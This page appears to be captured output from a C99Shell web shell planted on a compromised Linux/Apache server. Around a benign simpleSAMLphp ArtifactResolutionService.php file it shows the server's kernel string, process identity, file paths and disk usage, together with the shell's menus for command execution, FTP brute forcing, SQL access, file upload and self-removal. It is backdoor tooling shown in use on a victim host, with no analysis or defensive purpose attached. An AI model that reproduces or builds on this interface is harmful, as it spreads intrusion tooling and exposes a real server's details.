!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_tdfonline/php/3ros/simplesamlphp/www/saml2/idp/   drwxr-xr-x
Free 13.79 GB of 61.93 GB (22.27%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ArtifactResolutionService.php (1.84 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * The ArtifactResolutionService receives the samlart from the sp.
 * And when the artifact is found, it sends a SAML2_ArtifactResponse.
 *
 * @author Danny Bollaert, UGent AS. <danny.bollaert@ugent.be>
 * @package simpleSAMLphp
 * @version $Id$
 */

require_once('../../_include.php');

$config SimpleSAML_Configuration::getInstance();
if (!
$config->getBoolean('enable.saml20-idp'FALSE)) {
    throw new 
SimpleSAML_Error_Error('NOACCESS');
}

$metadata SimpleSAML_Metadata_MetaDataStorageHandler::getMetadataHandler();
$idpEntityId $metadata->getMetaDataCurrentEntityID('saml20-idp-hosted');
$idpMetadata $metadata->getMetaDataConfig($idpEntityId'saml20-idp-hosted');

if (!
$idpMetadata->getBoolean('saml20.sendartifact'FALSE)) {
    throw new 
SimpleSAML_Error_Error('NOACCESS');
}

$store SimpleSAML_Store::getInstance();
if (
$store === FALSE) {
    throw new 
Exception('Unable to send artifact without a datastore configured.');
}

$binding = new SAML2_SOAP();
$request $binding->receive();
if (!(
$request instanceof SAML2_ArtifactResolve)) {
    throw new 
Exception('Message received on ArtifactResolutionService wasn\'t a ArtifactResolve request.');
}

$issuer $request->getIssuer();
$spMetadata $metadata->getMetadataConfig($issuer'saml20-sp-remote');

$artifact $request->getArtifact();

$responseData $store->get('artifact'$artifact);
$store->delete('artifact'$artifact);

if (
$responseData !== NULL) {
    
$document = new DOMDocument();
    
$document->loadXML($responseData);
    
$responseXML $document->firstChild;
} else {
    
$responseXML NULL;
}

$artifactResponse = new SAML2_ArtifactResponse();
$artifactResponse->setIssuer($idpEntityId);
$artifactResponse->setInResponseTo($request->getId());
$artifactResponse->setAny($responseXML);
sspmod_saml_Message::addSign($idpMetadata$spMetadata$artifactResponse);
$binding->send($artifactResponse);

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.4871 ]--